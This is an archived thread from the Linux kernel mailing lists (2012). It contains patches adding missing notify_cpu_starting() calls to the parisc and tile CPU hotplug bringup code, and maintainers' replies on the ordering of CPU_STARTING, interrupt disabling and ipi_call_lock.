Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.hexagon,gmane.linux.kernel
Subject: [PATCH 3/4] parisc/CPU hotplug: Add missing call to
 notify_cpu_starting()
Date: Thu, 22 Mar 2012 16:58:59 +0530
Lines: 35
Approved: news@gmane.org
Message-ID: <20120322112852.17063.4629.stgit@srivatsabhat.in.ibm.com>
References: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1332417848 27977 80.91.229.3 (22 Mar 2012 12:04:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2012 12:04:08 +0000 (UTC)
Cc: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	linux-hexagon@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org
To: rkuo@codeaurora.org, tglx@linutronix.de, linas@codeaurora.org,
	mingo@elte.hu, a.p.zijlstra@chello.nl, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, akpm@linux-foundation.org,
	benh@kernel.crashing.org, jesper.nilsson@axis.com,
	cmetcalf@tilera.com, linux@arm.linux.org.uk, jejb@parisc-linux.org,
	deller@gmx.de, vapier@gentoo.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 22 13:04:03 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SAgkM-00074G-Bh
	for glpp-linux-parisc@plane.gmane.org; Thu, 22 Mar 2012 13:04:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965020Ab2CVMEA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Mar 2012 08:04:00 -0400
Original-Received: from e28smtp01.in.ibm.com ([122.248.162.1]:49382 "EHLO
	e28smtp01.in.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S964935Ab2CVMD6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Mar 2012 08:03:58 -0400
Original-Received: from /spool/local
	by e28smtp01.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Thu, 22 Mar 2012 17:01:48 +0530
Original-Received: from d28relay02.in.ibm.com (9.184.220.59)
	by e28smtp01.in.ibm.com (192.168.1.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Thu, 22 Mar 2012 17:00:23 +0530
Original-Received: from d28av02.in.ibm.com (d28av02.in.ibm.com [9.184.220.64])
	by d28relay02.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q2MBT2Xj2297928;
	Thu, 22 Mar 2012 16:59:02 +0530
Original-Received: from d28av02.in.ibm.com (loopback [127.0.0.1])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q2MGxbFF031346;
	Fri, 23 Mar 2012 03:59:39 +1100
Original-Received: from srivatsabhat.in.ibm.com (srivatsabhat.in.ibm.com [9.124.35.176])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q2MGxboV031341;
	Fri, 23 Mar 2012 03:59:37 +1100
In-Reply-To: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
User-Agent: StGIT/0.14.3
x-cbid: 12032211-4790-0000-0000-000001E77824
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4241 gmane.linux.ports.hexagon:396 gmane.linux.kernel:1271405
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4241>

The scheduler depends on receiving the CPU_STARTING notification, without
which we end up into a lot of trouble. So add the missing call to
notify_cpu_starting() in the bringup code.

Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
---

 arch/parisc/kernel/smp.c |    7 ++++++-
 1 files changed, 6 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 32d5884..50a4581 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -297,8 +297,13 @@ smp_cpu_init(int cpunum)
 
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
 		machine_halt();
-	}  
+	}
+
+	notify_cpu_starting(cpunum);
+
+	ipi_call_lock();
 	set_cpu_online(cpunum, true);
+	ipi_call_unlock();
 
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.hexagon,gmane.linux.kernel
Subject: [PATCH 4/4] tile/CPU hotplug: Add missing call to
 notify_cpu_starting()
Date: Thu, 22 Mar 2012 16:59:11 +0530
Lines: 29
Approved: news@gmane.org
Message-ID: <20120322112905.17063.88829.stgit@srivatsabhat.in.ibm.com>
References: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1332418257 31328 80.91.229.3 (22 Mar 2012 12:10:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2012 12:10:57 +0000 (UTC)
Cc: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	linux-hexagon@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org
To: rkuo@codeaurora.org, tglx@linutronix.de, linas@codeaurora.org,
	mingo@elte.hu, a.p.zijlstra@chello.nl, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, akpm@linux-foundation.org,
	benh@kernel.crashing.org, jesper.nilsson@axis.com,
	cmetcalf@tilera.com, linux@arm.linux.org.uk, jejb@parisc-linux.org,
	deller@gmx.de, vapier@gentoo.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 22 13:10:52 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SAgqw-0003or-93
	for glpp-linux-parisc@plane.gmane.org; Thu, 22 Mar 2012 13:10:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757808Ab2CVMKr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Mar 2012 08:10:47 -0400
Original-Received: from e28smtp07.in.ibm.com ([122.248.162.7]:42040 "EHLO
	e28smtp07.in.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757662Ab2CVMKq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Mar 2012 08:10:46 -0400
Original-Received: from /spool/local
	by e28smtp07.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Thu, 22 Mar 2012 17:04:27 +0530
Original-Received: from d28relay05.in.ibm.com (9.184.220.62)
	by e28smtp07.in.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Thu, 22 Mar 2012 17:02:14 +0530
Original-Received: from d28av02.in.ibm.com (d28av02.in.ibm.com [9.184.220.64])
	by d28relay05.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q2MBTDQB2879558;
	Thu, 22 Mar 2012 16:59:13 +0530
Original-Received: from d28av02.in.ibm.com (loopback [127.0.0.1])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q2MGxmFJ031886;
	Fri, 23 Mar 2012 03:59:50 +1100
Original-Received: from srivatsabhat.in.ibm.com (srivatsabhat.in.ibm.com [9.124.35.176])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q2MGxmrd031871;
	Fri, 23 Mar 2012 03:59:48 +1100
In-Reply-To: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
User-Agent: StGIT/0.14.3
x-cbid: 12032211-8878-0000-0000-000001CD74CB
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4242 gmane.linux.ports.hexagon:397 gmane.linux.kernel:1271407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4242>

The scheduler depends on receiving the CPU_STARTING notification, without
which we end up into a lot of trouble. So add the missing call to
notify_cpu_starting() in the bringup code.

Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
---

 arch/tile/kernel/smpboot.c |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/arch/tile/kernel/smpboot.c b/arch/tile/kernel/smpboot.c
index b949edc..172aef7 100644
--- a/arch/tile/kernel/smpboot.c
+++ b/arch/tile/kernel/smpboot.c
@@ -196,6 +196,8 @@ void __cpuinit online_secondary(void)
 	/* This must be done before setting cpu_online_mask */
 	wmb();
 
+	notify_cpu_starting(smp_processor_id());
+
 	/*
 	 * We need to hold call_lock, so there is no inconsistency
 	 * between the time smp_call_function() determines number of

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.hexagon,gmane.linux.kernel
Subject: Re: [PATCH 0/4] arch/CPU hotplug: Add missing CPU Hotplug bits to
 fix nasty issues
Date: Thu, 22 Mar 2012 13:13:32 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <1332418412.2487.13.camel@twins>
References: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1332418457 524 80.91.229.3 (22 Mar 2012 12:14:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2012 12:14:17 +0000 (UTC)
Cc: rkuo@codeaurora.org, tglx@linutronix.de, linas@codeaurora.org,
	mingo@elte.hu, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, akpm@linux-foundation.org,
	benh@kernel.crashing.org, jesper.nilsson@axis.com,
	cmetcalf@tilera.com, linux@arm.linux.org.uk, jejb@parisc-linux.org,
	deller@gmx.de, vapier@gentoo.org, linux-hexagon@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org
To: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 22 13:14:12 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SAguC-0006JW-05
	for glpp-linux-parisc@plane.gmane.org; Thu, 22 Mar 2012 13:14:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755929Ab2CVMOL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Mar 2012 08:14:11 -0400
Original-Received: from merlin.infradead.org ([205.233.59.134]:43992 "EHLO
	merlin.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751715Ab2CVMOK convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Mar 2012 08:14:10 -0400
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1SAgte-0005nH-1A; Thu, 22 Mar 2012 12:13:38 +0000
Original-Received: from 178-85-86-190.dynamic.upc.nl ([178.85.86.190] helo=twins)
	by canuck.infradead.org with esmtpsa (Exim 4.76 #1 (Red Hat Linux))
	id 1SAgtd-0005JL-5g; Thu, 22 Mar 2012 12:13:37 +0000
Original-Received: by twins (Postfix, from userid 1000)
	id 182818453AC9; Thu, 22 Mar 2012 13:13:32 +0100 (CET)
In-Reply-To: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
X-Mailer: Evolution 3.2.2- 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4243 gmane.linux.ports.hexagon:398 gmane.linux.kernel:1271408
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4243>

On Thu, 2012-03-22 at 16:58 +0530, Srivatsa S. Bhat wrote:
> Commit 5fbd036b552f633abb394a319f7c62a5c86a9cd7 (sched: Cleanup cpu_active
> madness) introduced some changes that made the scheduler rely on the
> CPU_STARTING notifier. And hence those architectures which forgot to
> send out the CPU_STARTING notification will almost surely get into trouble.
> (Xen is one example[1]). 

The requirement is that CPU_STARTING is ran before set_cpu_online() or
the open-coded equivalent -- eg. blackfin gets this wrong.

However, it is also required that all this happens while local IRQs are
still disabled, since the moment we enable IRQs interrupts can happen
and interrupts can cause wakeups, and wakeups need to have this state
set up -- blackfin, cris, m32r, mips, sh, sparc64, sparc32, um?, x86 get
this wrong.

Furthermore, all archs that use CONFIG_USE_GENERIC_SMP_HELPERS should
hold ipi_call_lock() over setting the cpu online -- alpha, arm, m32r,
mips, sh, sparc32 seem wrong.

Furthermore, I was pondering the scenario where a 3rd cpu IPIs the newly
booting cpu, I suspect we need a smp_wmb() after setting cpu_active and
a rmb in select_fallback_rq() before reading active.

All in all its a complete friggin trainwreck.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/4] arch/CPU hotplug: Add missing CPU Hotplug bits to
 fix nasty issues
Date: Thu, 22 Mar 2012 13:32:38 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <1332419558.2487.14.camel@twins>
References: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
	 <1332418412.2487.13.camel@twins>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1332419605 10015 80.91.229.3 (22 Mar 2012 12:33:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2012 12:33:25 +0000 (UTC)
Cc: rkuo@codeaurora.org, tglx@linutronix.de, linas@codeaurora.org,
	mingo@elte.hu, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, akpm@linux-foundation.org,
	benh@kernel.crashing.org, jesper.nilsson@axis.com,
	cmetcalf@tilera.com, linux@arm.linux.org.uk, jejb@parisc-linux.org,
	deller@gmx.de, vapier@gentoo.org, linux-hexagon@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org
To: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Original-X-From: linux-hexagon-owner@vger.kernel.org Thu Mar 22 13:33:19 2012
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1SAhCd-0004OR-QY
	for glphk-linux-hexagon@plane.gmane.org; Thu, 22 Mar 2012 13:33:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754099Ab2CVMdN (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Thu, 22 Mar 2012 08:33:13 -0400
Original-Received: from merlin.infradead.org ([205.233.59.134]:44854 "EHLO
	merlin.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752360Ab2CVMdN convert rfc822-to-8bit (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Thu, 22 Mar 2012 08:33:13 -0400
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1SAhC4-00064u-C8; Thu, 22 Mar 2012 12:32:40 +0000
Original-Received: from 178-85-86-190.dynamic.upc.nl ([178.85.86.190] helo=twins)
	by canuck.infradead.org with esmtpsa (Exim 4.76 #1 (Red Hat Linux))
	id 1SAhC3-0005Kz-J5; Thu, 22 Mar 2012 12:32:39 +0000
Original-Received: by twins (Postfix, from userid 1000)
	id 31B158453AC9; Thu, 22 Mar 2012 13:32:38 +0100 (CET)
In-Reply-To: <1332418412.2487.13.camel@twins>
X-Mailer: Evolution 3.2.2- 
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:399 gmane.linux.kernel:1271409 gmane.linux.ports.parisc:4244
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/399>

On Thu, 2012-03-22 at 13:13 +0100, Peter Zijlstra wrote:
> 
> Furthermore, I was pondering the scenario where a 3rd cpu IPIs the newly
> booting cpu, I suspect we need a smp_wmb() after setting cpu_active and
> a rmb in select_fallback_rq() before reading active.

Hmm, not IPI, that would be covered by the disabling of interrupts on
bringup, but somehow manage to wake a thread that's strictly affine that
the fresh cpu, like queue_work_on() or so.



From - Thu Nov 08 21:08:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/4] arch/CPU hotplug: Add missing CPU Hotplug bits to
 fix nasty issues
Date: Thu, 22 Mar 2012 14:53:09 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <1332427989.2946.20.camel@dabdike.int.hansenpartnership.com>
References: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
	 <1332418412.2487.13.camel@twins>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1332428002 18236 80.91.229.3 (22 Mar 2012 14:53:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2012 14:53:22 +0000 (UTC)
Cc: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	rkuo@codeaurora.org, tglx@linutronix.de, linas@codeaurora.org,
	mingo@elte.hu, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, akpm@linux-foundation.org,
	benh@kernel.crashing.org, jesper.nilsson@axis.com,
	cmetcalf@tilera.com, linux@arm.linux.org.uk, jejb@parisc-linux.org,
	deller@gmx.de, vapier@gentoo.org, linux-hexagon@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org
To: Peter Zijlstra <a.p.zijlstra@chello.nl>
Original-X-From: linux-hexagon-owner@vger.kernel.org Thu Mar 22 15:53:17 2012
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1SAjO9-0000O7-23
	for glphk-linux-hexagon@plane.gmane.org; Thu, 22 Mar 2012 15:53:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754023Ab2CVOxQ (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Thu, 22 Mar 2012 10:53:16 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58785 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753210Ab2CVOxP (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Thu, 22 Mar 2012 10:53:15 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C3A1F8EE136;
	Thu, 22 Mar 2012 07:53:14 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UPDoLyAAY0qY; Thu, 22 Mar 2012 07:53:14 -0700 (PDT)
Original-Received: from [10.0.1.10] (host90-152-44-174.ipv4.regusnet.com [90.152.44.174])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 4C8AD8EE0A3;
	Thu, 22 Mar 2012 07:53:11 -0700 (PDT)
In-Reply-To: <1332418412.2487.13.camel@twins>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:400 gmane.linux.kernel:1271458 gmane.linux.ports.parisc:4245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/400>

On Thu, 2012-03-22 at 13:13 +0100, Peter Zijlstra wrote:
> On Thu, 2012-03-22 at 16:58 +0530, Srivatsa S. Bhat wrote:
> > Commit 5fbd036b552f633abb394a319f7c62a5c86a9cd7 (sched: Cleanup cpu_active
> > madness) introduced some changes that made the scheduler rely on the
> > CPU_STARTING notifier. And hence those architectures which forgot to
> > send out the CPU_STARTING notification will almost surely get into trouble.
> > (Xen is one example[1]). 
> 
> The requirement is that CPU_STARTING is ran before set_cpu_online() or
> the open-coded equivalent -- eg. blackfin gets this wrong.
> 
> However, it is also required that all this happens while local IRQs are
> still disabled, since the moment we enable IRQs interrupts can happen
> and interrupts can cause wakeups, and wakeups need to have this state
> set up -- blackfin, cris, m32r, mips, sh, sparc64, sparc32, um?, x86 get
> this wrong.
> 
> Furthermore, all archs that use CONFIG_USE_GENERIC_SMP_HELPERS should
> hold ipi_call_lock() over setting the cpu online -- alpha, arm, m32r,
> mips, sh, sparc32 seem wrong.

So for parisc, anywhere in smp_callin() should be fine.  Our last act on
CPU bringup before going into cpu_idle() is to enable interrupts.

> Furthermore, I was pondering the scenario where a 3rd cpu IPIs the newly
> booting cpu, I suspect we need a smp_wmb() after setting cpu_active and
> a rmb in select_fallback_rq() before reading active.
> 
> All in all its a complete friggin trainwreck.

I haven't yet actually tried git head on parisc (and I won't be able to
until I actually get my machines back [currently being shipped across
the atlantic]) but if there's a problem it will show up quickly:  parisc
actually uses cpu hotplug to boot its secondary cpus.

James



From - Thu Nov 08 21:08:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/4] arch/CPU hotplug: Add missing CPU Hotplug bits to
 fix nasty issues
Date: Thu, 22 Mar 2012 15:55:24 +0100
Lines: 4
Approved: news@gmane.org
Message-ID: <1332428124.2487.15.camel@twins>
References: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
	 <1332418412.2487.13.camel@twins>
	 <1332427989.2946.20.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1332428167 19807 80.91.229.3 (22 Mar 2012 14:56:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2012 14:56:07 +0000 (UTC)
Cc: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	rkuo@codeaurora.org, tglx@linutronix.de, linas@codeaurora.org,
	mingo@elte.hu, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, akpm@linux-foundation.org,
	benh@kernel.crashing.org, jesper.nilsson@axis.com,
	cmetcalf@tilera.com, linux@arm.linux.org.uk, jejb@parisc-linux.org,
	deller@gmx.de, vapier@gentoo.org, linux-hexagon@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-hexagon-owner@vger.kernel.org Thu Mar 22 15:55:59 2012
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1SAjQh-0004cn-5x
	for glphk-linux-hexagon@plane.gmane.org; Thu, 22 Mar 2012 15:55:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753078Ab2CVOzy (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Thu, 22 Mar 2012 10:55:54 -0400
Original-Received: from merlin.infradead.org ([205.233.59.134]:55333 "EHLO
	merlin.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752512Ab2CVOzx convert rfc822-to-8bit (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Thu, 22 Mar 2012 10:55:53 -0400
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1SAjQG-00081i-67; Thu, 22 Mar 2012 14:55:28 +0000
Original-Received: from 178-85-86-190.dynamic.upc.nl ([178.85.86.190] helo=twins)
	by canuck.infradead.org with esmtpsa (Exim 4.76 #1 (Red Hat Linux))
	id 1SAjQE-0005lI-Cs; Thu, 22 Mar 2012 14:55:27 +0000
Original-Received: by twins (Postfix, from userid 1000)
	id 5A14D8453AEF; Thu, 22 Mar 2012 15:55:24 +0100 (CET)
In-Reply-To: <1332427989.2946.20.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.2.2- 
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:401 gmane.linux.kernel:1271459 gmane.linux.ports.parisc:4246
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/401>

On Thu, 2012-03-22 at 14:53 +0000, James Bottomley wrote:
> parisc actually uses cpu hotplug to boot its secondary cpus. 

I think we all do these days..

From - Thu Nov 08 21:08:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for the 3.3+ merge window
Date: Sat, 31 Mar 2012 08:36:18 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1333179378.2994.18.camel@dabdike.sthat4.btopenzone.com>
